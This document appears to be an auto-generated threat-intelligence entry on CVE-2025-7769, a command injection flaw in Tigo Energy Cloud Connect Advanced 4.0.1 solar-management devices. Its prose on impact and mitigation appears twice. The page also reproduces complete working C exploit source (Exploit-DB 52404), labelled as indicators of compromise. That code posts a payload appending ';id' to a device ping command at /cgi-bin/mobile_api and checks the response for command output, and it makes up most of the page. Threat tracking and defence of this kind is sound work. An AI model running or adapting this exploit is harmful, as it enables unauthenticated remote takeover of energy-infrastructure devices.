Tigo Energy Cloud Connect Advanced (CCA) 4.0.1 - Command Injection
Tigo Energy Cloud Connect Advanced (CCA) 4.0.1 - Command Injection
AI Analysis
Technical Summary
The Tigo Energy Cloud Connect Advanced (CCA) 4.0.1 device is vulnerable to a command injection flaw that allows remote attackers to execute arbitrary commands on the underlying operating system. This vulnerability arises from improper input validation in one or more components of the device's management interface, enabling injection of shell commands. The exploit code, publicly available on Exploit-DB and written in C, demonstrates how an attacker can remotely trigger this flaw, potentially gaining control over the device. Such control could allow attackers to disrupt solar energy monitoring and management, manipulate data, or use the device as a pivot point for further network intrusion. The vulnerability does not require authentication, increasing its risk profile. Although no official patches or vendor advisories are currently available, the presence of exploit code elevates the threat level. The device is typically deployed in solar energy installations to optimize energy production and monitoring, making it a critical component in energy infrastructure. The lack of patch links suggests organizations must rely on network-level mitigations and monitoring until a fix is released. This vulnerability highlights the risks associated with embedded energy management devices and the importance of securing IoT and OT systems in critical infrastructure.
Potential Impact
For European organizations, the impact of this vulnerability could be significant, especially those involved in renewable energy production and management. Successful exploitation could lead to unauthorized command execution on Tigo Energy CCA devices, resulting in manipulation or disruption of solar energy monitoring and control systems. This could cause inaccurate energy reporting, operational downtime, or even physical damage if control commands are misused. Additionally, compromised devices could serve as entry points for lateral movement within corporate or utility networks, threatening broader IT and OT environments. The disruption of energy infrastructure could have cascading effects on supply reliability and regulatory compliance. Given Europe's strong emphasis on renewable energy and smart grid technologies, this vulnerability poses a risk to both private energy producers and public utilities. The absence of patches increases the window of exposure, necessitating urgent mitigation efforts to prevent potential service interruptions and data breaches.
Mitigation Recommendations
In the absence of official patches, European organizations should implement several specific mitigations: 1) Isolate Tigo Energy CCA devices within segmented network zones with strict firewall rules to limit remote access only to trusted management hosts. 2) Employ network intrusion detection and prevention systems (IDS/IPS) tuned to detect command injection patterns or anomalous traffic targeting these devices. 3) Enforce strong authentication and access control policies on management interfaces, even if the vulnerability does not require authentication, to reduce attack surface. 4) Regularly audit device configurations and logs for signs of compromise or suspicious command execution. 5) Coordinate with Tigo Energy for updates and monitor vendor communications for forthcoming patches. 6) Consider deploying virtual patching techniques via network security appliances to block exploit attempts. 7) Educate operational technology (OT) and IT security teams about the risks and detection methods related to this vulnerability. 8) If feasible, temporarily restrict remote management access until a patch is available. These targeted actions go beyond generic advice by focusing on network segmentation, monitoring, and proactive vendor engagement specific to the affected product and environment.
Affected Countries
Germany, Spain, Italy, Netherlands, France, Belgium
Indicators of Compromise
- exploit-code: /* * Title : Tigo Energy Cloud Connect Advanced (CCA) 4.0.1 - Command Injection * Author : Byte Reaper * CVE : CVE-2025-7769 */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include "argparse.h" #include <time.h> #include <arpa/inet.h> #include <curl/curl.h> #define FULL_URL 2500 #define POST_PAYLOAD 5500 const char *baseurl = NULL; const char *cookies = NULL; const char *ip = NULL; const char *caFile = NULL; int caS = 0; const char *nameFileC = NULL; int port = 0; int uC =0; int verbose = 0; void exitSyscall() { __asm__ volatile ( "mov $0x3C, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); } int checkLen(int len, char *buf, size_t bufcap) { if (len < 0 || (size_t)len >= bufcap) { printf("\e[0;31m[-] Len is Long ! \e[0m\n"); printf("\e[0;31m[-] Len %d\e[0m\n", len); exitSyscall(); return 1; } else { printf("\e[0;34m[+] Len Is Not Long (%d).\e[0m\n",len); return 0; } return 0; } void nanoSleep(void) { struct timespec ob; ob.tv_sec = 0; ob.tv_nsec = 500 * 1000 * 1000; __asm__ volatile ( "mov $230, %%rax\n\t" "mov $1, %%rdi\n\t" "xor %%rsi, %%rsi\n\t" "mov %0, %%rdx\n\t" "xor %%r10, %%r10\n\t" "syscall\n\t" : : "r"(&ob) : "rax", "rdi", "rsi", "rdx", "r10", "memory" ); } struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exitSyscall(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } const char *wordInjection[] = { //Result ID "admin", "root", "groups=0", "gid=0", "uid=1000", "gid=1000", "groups=1000", "bluetooth", //Result ls ".txt", ".py", ".php", ".sh", ".js", //Result pwd "home", "Documents", "Desktop", "Downloads", "Public", "Videos", NULL }; void postRequest(const char *baseurl, const char *ip, int port) { char full[FULL_URL]; CURL *curl = curl_easy_init(); CURLcode res; if (curl == NULL) { printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n"); printf("\e[0;31m[-] Check Connection ...\e[0m\n" ); const char *googleIp = "142.251.37.46"; printf("\e[0;31m[-] Ping Command (ip = %s)\e[0m\n", googleIp); const char *cP = "/bin/ping"; const char *av[] = { "ping", "-c", "5", "google.com", NULL }; const char *ep[] = { NULL }; __asm__ volatile ( "MOV $59, %%rax\n\t" "MOV %[cmd], %%rdi\n\t" "MOV %[argv], %%rsi\n\t" "MOV %[envp], %%rdx\n\t" "syscall\n\t" ".1:\n\t" "MOV $0x3C, %%rax\n\t" "XOR %%rdi, %%rdi\n\t" "syscall\n\t" : : [cmd] "r" (cP), [argv] "r" (av), [envp] "r"(ep) :"rax", "rdi", "rsi", "rdx" ); } if (port != 0) { goto ipPT; } printf("\e[0;31m[-] Port Not Select.\n"); if (ip) { unsigned long ipformat ; ipformat = inet_addr(ip); if (ipformat == INADDR_NONE || ipformat == -1) { printf("\e[0;31m[-] Invalid IP address string.\e[0m\n"); exitSyscall(); } int lenIp = snprintf(full, sizeof(full), "http://%s/cgi-bin/mobile_api", ip); if (checkLen(lenIp,full, sizeof(full)) == 1) { printf("\e[0;31m[-] Len FUll URL (IP) Is Long !\e[0m\n"); printf("\e[0;31m[-] Len : %d\n",lenIp); exitSyscall(); } goto done; ipPT: printf("\e[0;36m[+] PORT : %d\e[0m\n", port); int lenIpPT = snprintf(full, sizeof(full), "http://%s:%d/cgi-bin/mobile_api", ip, port); if (checkLen(lenIpPT,full, sizeof(full)) == 1) { printf("\e[0;31m[-] Len FUll URL (IP And Port) Is Long !\e[0m\n"); printf("\e[0;31m[-] Len : %d\e[0m\n",lenIpPT); exitSyscall(); } } else if (baseurl != NULL) { int lenUrl = snprintf(full, sizeof(full), "%s/cgi-bin/mobile_api", baseurl); if (checkLen(lenUrl,full, sizeof(full)) == 1) { printf("\e[0;31m[-] Len FUll URL (URL and EndPoint) Is Long !\e[0m\n"); printf("\e[0;31m[-] Len : %d\e[0m\n",lenUrl); exitSyscall(); } } printf("\e[0;36m[+] Final Full URL Format : %s\e[0m\n", full); printf("\e[0;36m[+] Preparation POST Payload...\e[0m\n"); printf("\e[0;36m[+] Command Payload Injection (cmd = id)\e[0m\n"); char post[POST_PAYLOAD]; snprintf(post, sizeof(post), "{\n\t\"cmd\": \"DEVICE_PING;id\",\n\t\"dev\": 2,\n\t\"ver\": 1 \n}"); printf("\e[0;34m[+] POST DATA : \n%s\n", post); struct Mem rS; rS.buffer = NULL; rS.len = 0; done : if (curl) { curl_easy_setopt(curl, CURLOPT_URL, full); if (uC) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_POST, 1L); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(post)); curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, ""); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &rS); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); nanoSleep(); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); if (caS) { curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 2L); curl_easy_setopt(curl, CURLOPT_CAINFO, caFile); } else { curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); } if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } struct curl_slist *headers = NULL; headers = curl_slist_append(headers, "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0)"); headers = curl_slist_append(headers, "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); if (ip) { char headerHost[150]; int lenH = snprintf(headerHost, sizeof(headerHost), "Host: %s", ip); if (checkLen(lenH,headerHost, sizeof(headerHost)) == 1) { printf("\e[0;31m[-] Header Host Is Long Please Check Size IP !\e[0m\n"); printf("\e[0;31m[-] Len : %d\e[0m\n", lenH); exitSyscall(); } else { printf("\e[0;34m[+] Header Host Create Successfully.\e[0m\n"); if (verbose) { printf("\e[0;34m[+] Header Host : %s\e[0m\n",headerHost); } headers = curl_slist_append(headers, headerHost); } } headers = curl_slist_append(headers, "Accept-Encoding: gzip, deflate, br"); headers = curl_slist_append(headers, "Accept-Language: en-US,en;q=0.5"); headers = curl_slist_append(headers, "Connection: keep-alive"); headers = curl_slist_append(headers, "Upgrade-Insecure-Requests: 1"); headers = curl_slist_append(headers, "Content-Type: application/json"); headers = curl_slist_append(headers, "Cache-Control: max-age=0"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); res = curl_easy_perform(curl); curl_slist_free_all(headers); long hC = 0; if (res == CURLE_OK) { printf("\e[0;36m[+] Request sent successfully\e[0m\n"); if (rS.len != 0) { printf("\e[0;32m[+] Response Len : %d\e[0m\n", rS.len); } else { printf("\e[0;31m[-] Response Len IS (0)\e[0m\n"); } curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &hC); printf("\e[0;32m[+] Http Code : %ld\e[0m\n", hC); if (verbose) { if (rS.buffer) { printf("\e[0;35m\n======================================== [RESPONSE] ========================================\e[0m\n"); printf("%s\n", rS.buffer); printf("\e[0;32m[Len] : %zu\e[0m\n", rS.len); printf("\e[0;35m\n=============================================================================================\e[0m\n"); } } if (hC >= 200 && hC < 300) { int s = 0; for (int j = 0; wordInjection[j] != NULL; j++) { if (strstr(rS.buffer, wordInjection[j]) != NULL) { printf("[+] Word Found : %s\n", wordInjection[j]); if (rS.buffer != NULL) { printf("\e[0;35m ============================================= [RESPONSE] =============================================\e[0m\n"); printf("\n%s\n",rS.buffer); printf("\e[0;35m ======================================================================================================\e[0m\n"); } else { if (verbose) { printf("\e[0;31m[-] Word Not Found : %s\e[0m\n", wordInjection[j]); } if (s) { printf("\e[0;31m[-] Not found Word Command Injection In Response !\e[0m\n"); } } } } } else { printf("\e[0;31m[-] http Code Not Range (%ld)\e[0m\n", hC); } } else { printf("\e[0;31m[-] The request was not sent !\e[0m\n"); printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); exitSyscall(); } } curl_easy_cleanup(curl); if (rS.buffer) { free(rS.buffer); rS.buffer = NULL; rS.len = 0; } } int main(int argc, const char **argv) { printf( "\e[0;31m" " ░██████ ░██ ░██ ░██████████ ░██████ ░████ ░██████ ░████████ ░█████████ ░█████████ ░██████ ░██████ \n" " ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ \n" " ░██ ░██ ░██ ░██ ░██ ░██ ░████ ░██ ░███████ ░██ ░██ ░██ ░██ ░██ \n" " ░██ ░██ ░██ ░█████████ ░██████ ░█████ ░██░██░██ ░█████ ░██ ░██████ ░██ ░██ ░███████ ░███████ \n" " ░██ ░██ ░██ ░██ ░██ ░████ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ \n " " ░██ ░██ ░██░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ \n" " ░██████ ░███ ░██████████ ░████████ ░████ ░████████ ░██████ ░██ ░██ ░██████ ░██████ \n" "\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\e[0;37mByte Reaper\n\e[0m" ); printf("\e[0;31m---------------------------------------------------------------------------------------------------------------------------------------------------------\e[0m\n"); curl_global_init(CURL_GLOBAL_DEFAULT); struct argparse_option options[] = { OPT_HELP(), OPT_STRING('u', "url", &baseurl, "Enter Target Url (http://<TARGET>)"), OPT_STRING('c', "cookies", &nameFileC, "Enter File cookies"), OPT_STRING('i', "ip", &ip, "Target IP ADDRESS"), OPT_INTEGER('p', "port", &port, "Target PORT"), OPT_STRING('a', "ca", &caFile, "CA FILE"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (!baseurl && !ip) { printf("\e[0;31m-] Please Enter target Url OR target IP !\e[0m\n"); printf("\e[0;31m[-] Example : ./CVE-2025-7769 -u http://<TARGET> OR -i <IP>\e[0m\n"); exitSyscall(); } if (nameFileC) { uC = 1; } if (verbose) { verbose = 1; } if (!port) { port = 0; } if (port && baseurl) { printf("\e[0;31m[-] Please Enter Base URL !\e[0m\n"); exitSyscall(); } if (caFile) { caS = 1; } postRequest(baseurl, ip, port); curl_global_cleanup(); return 0; }
Tigo Energy Cloud Connect Advanced (CCA) 4.0.1 - Command Injection
Description
Tigo Energy Cloud Connect Advanced (CCA) 4.0.1 - Command Injection
AI-Powered Analysis
Technical Analysis
The Tigo Energy Cloud Connect Advanced (CCA) 4.0.1 device is vulnerable to a command injection flaw that allows remote attackers to execute arbitrary commands on the underlying operating system. This vulnerability arises from improper input validation in one or more components of the device's management interface, enabling injection of shell commands. The exploit code, publicly available on Exploit-DB and written in C, demonstrates how an attacker can remotely trigger this flaw, potentially gaining control over the device. Such control could allow attackers to disrupt solar energy monitoring and management, manipulate data, or use the device as a pivot point for further network intrusion. The vulnerability does not require authentication, increasing its risk profile. Although no official patches or vendor advisories are currently available, the presence of exploit code elevates the threat level. The device is typically deployed in solar energy installations to optimize energy production and monitoring, making it a critical component in energy infrastructure. The lack of patch links suggests organizations must rely on network-level mitigations and monitoring until a fix is released. This vulnerability highlights the risks associated with embedded energy management devices and the importance of securing IoT and OT systems in critical infrastructure.
Potential Impact
For European organizations, the impact of this vulnerability could be significant, especially those involved in renewable energy production and management. Successful exploitation could lead to unauthorized command execution on Tigo Energy CCA devices, resulting in manipulation or disruption of solar energy monitoring and control systems. This could cause inaccurate energy reporting, operational downtime, or even physical damage if control commands are misused. Additionally, compromised devices could serve as entry points for lateral movement within corporate or utility networks, threatening broader IT and OT environments. The disruption of energy infrastructure could have cascading effects on supply reliability and regulatory compliance. Given Europe's strong emphasis on renewable energy and smart grid technologies, this vulnerability poses a risk to both private energy producers and public utilities. The absence of patches increases the window of exposure, necessitating urgent mitigation efforts to prevent potential service interruptions and data breaches.
Mitigation Recommendations
In the absence of official patches, European organizations should implement several specific mitigations: 1) Isolate Tigo Energy CCA devices within segmented network zones with strict firewall rules to limit remote access only to trusted management hosts. 2) Employ network intrusion detection and prevention systems (IDS/IPS) tuned to detect command injection patterns or anomalous traffic targeting these devices. 3) Enforce strong authentication and access control policies on management interfaces, even if the vulnerability does not require authentication, to reduce attack surface. 4) Regularly audit device configurations and logs for signs of compromise or suspicious command execution. 5) Coordinate with Tigo Energy for updates and monitor vendor communications for forthcoming patches. 6) Consider deploying virtual patching techniques via network security appliances to block exploit attempts. 7) Educate operational technology (OT) and IT security teams about the risks and detection methods related to this vulnerability. 8) If feasible, temporarily restrict remote management access until a patch is available. These targeted actions go beyond generic advice by focusing on network segmentation, monitoring, and proactive vendor engagement specific to the affected product and environment.
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Technical Details
- Edb Id
- 52404
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for Tigo Energy Cloud Connect Advanced (CCA) 4.0.1 - Command Injection
/* * Title : Tigo Energy Cloud Connect Advanced (CCA) 4.0.1 - Command Injection * Author : Byte Reaper * CVE : CVE-2025-7769 */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include "argparse.h" #include <time.h> #include <arpa/inet.h> #include <curl/curl.h> #define FULL_URL 2500 #define POST_PAYLOAD 5500 const char *baseurl = NULL; const char *cookies = NULL; const char *ip = NULL; const char *caFile = NULL; int caS = 0; const char *nameFileC... (13637 more characters)
Threat ID: 689a95b8ad5a09ad002b0980
Added to database: 8/12/2025, 1:15:36 AM
Last enriched: 11/3/2025, 9:39:50 AM
Last updated: 11/28/2025, 4:16:57 AM
Views: 37
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